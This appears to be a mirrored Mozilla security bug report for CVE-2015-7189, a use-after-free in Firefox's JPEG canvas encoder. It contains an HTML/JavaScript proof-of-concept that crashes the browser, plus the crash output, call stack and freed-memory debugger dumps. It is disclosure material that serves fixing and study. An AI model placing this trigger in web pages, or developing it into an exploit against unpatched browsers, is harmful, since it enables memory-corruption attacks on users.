Heap Buffer Overflow in nsJPEGEncoder::ConvertHostARGBRow()
Originally disclosed on Mozilla
- Fixed in 15 days
- Paid in 18 days
- Disclosed after 15 days
Created attachment 8662689
Uaf_ConvertHostARGBRow_Repro.html
Convert the canvas to blob in DOM attribute modified event can cause memory corruption.
Reproduce test case:
<html><body><canvas id="canvas0"></canvas></body><script>
var canvas0=document.getElementById("canvas0");
var ctx=canvas0.getContext("2d");
canvas0.addEventListener("DOMAttrModified", function(event) {canvas0.toBlob(function(){},"image/jpeg", 1);}, true);
canvas0.setAttribute("height",470)
setTimeout(function(){location.reload()},300);
</script></html>
Steps to reproduce:
1. Open the attached test case (Uaf_ConvertHostARGBRow_Repro.html) in Firefox browser.
2. Firefox crashes at random address in nsJPEGEncoder::ConvertHostARGBRow()
First-chance exception at 0x104D34C8 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x1A690002.
Unhandled exception at 0x104D34C8 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x1A690002.
Firefox version: 43.0a1 (2015-09-09)
Call stack:
xul.dll!nsJPEGEncoder::ConvertHostARGBRow(const unsigned char * aSrc, unsigned char * aDest, unsigned int aPixelWidth) Line 364 C++
xul.dll!nsJPEGEncoder::InitFromData(const unsigned char * aData, unsigned int aLength, unsigned int aWidth, unsigned int aHeight, unsigned int aStride, unsigned int aInputFormat, const nsAString_internal & aOutputOptions) Line 175 C++
xul.dll!mozilla::dom::ImageEncoder::GetInputStream(int aWidth, int aHeight, unsigned char * aImageBuffer, int aFormat, imgIEncoder * aEncoder, const wchar_t * aEncoderOptions, nsIInputStream * * aStream) Line 329 C++
xul.dll!mozilla::dom::ImageEncoder::ExtractDataInternal(const nsAString_internal & aType, const nsAString_internal & aOptions, unsigned char * aImageBuffer, int aFormat, const mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> aSize, mozilla::layers::Image * aImage, nsICanvasRenderingContextInternal * aContext, nsIInputStream * * aStream, imgIEncoder * aEncoder) Line 363 C++
> xul.dll!mozilla::dom::EncodingRunnable::ProcessImageData(unsigned __int64 * aImgSize, void * * aImgData) Line 169 C++
xul.dll!mozilla::dom::EncodingRunnable::Run() Line 202 C++
xul.dll!nsThread::ProcessNextEvent(bool aMayWait, bool * aResult) Line 874 C++
xul.dll!NS_ProcessNextEvent(nsIThread * aThread, bool aMayWait) Line 277 C++
xul.dll!mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate * aDelegate) Line 355 C++
xul.dll!MessageLoop::RunHandler() Line 228 C++
xul.dll!MessageLoop::Run() Line 202 C++
xul.dll!nsThread::ThreadFunc(void * aArg) Line 365 C++
nss3.dll!_PR_NativeRunThread(void * arg) Line 419 C
nss3.dll!pr_root(void * arg) Line 90 C
[External Code]
[Frames below may be incorrect and/or missing, no symbols loaded for msvcr120.dll]
Checking the variables of EncodingRunnable in debugger, the 0x5a5a5a5a pattern indicates an Use After Free:
- mEncoder {...} nsCOMPtr<imgIEncoder>
+ nsCOMPtr_base {mRawPtr=0x5a5a5a5a {...} } nsCOMPtr_base
- mImage {mRawPtr=0x5a5a5a5a {mRefCnt={mValue={...} } mBackendData={mArray={mArr=0x5a5a5a62 {...} } } mImplData=...} } nsRefPtr<mozilla::layers::Image>
+ mRawPtr 0x5a5a5a5a {mRefCnt={mValue={...} } mBackendData={mArray={mArr=0x5a5a5a62 {{...}, {...}, {...}, {...}, ...} } } ...} mozilla::layers::Image *
- stream {...} nsCOMPtr<nsIInputStream>
+ nsCOMPtr_base {mRawPtr=0x00000000 <NULL> } nsCOMPtr_base
- this 0x194b4af6 {mType={mStorage=0x194b4b16 L"" } mOptions={mStorage=0x194b4baa L"婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚... } ...} mozilla::dom::EncodingRunnable *
+ nsRunnable {mRefCnt={mValue={...} } _mOwningThread={mThread=0x00000000 } } nsRunnable
+ mType {mStorage=0x194b4b16 L"" } nsAutoString
+ mOptions {mStorage=0x194b4baa L"婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚婚... } nsAutoString
+ mImageBuffer {mRawPtr=0x5a5a5a5a <Error reading characters of string.> } nsAutoArrayPtr<unsigned char>
+ mImage {mRawPtr=0x5a5a5a5a {mRefCnt={mValue={...} } mBackendData={mArray={mArr=0x5a5a5a62 {...} } } mImplData=...} } nsRefPtr<mozilla::layers::Image>
+ mEncoder {...} nsCOMPtr<imgIEncoder>
+ mEncodingCompleteEvent {mRawPtr=0x5a5a5a5a {mImgSize=??? mType={mStorage=0x5a5a5a86 <Error reading characters of string.> } ...} } nsRefPtr<mozilla::dom::EncodingCompleteEvent>
mFormat 1515870810 int
+ mSize {...} const mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits>
mUsingCustomOptions true (90) bool
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity memory corruption bug in Graphics: Canvas2D. Mozilla made it public on 2 October 2015 as CVE-2015-7189.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.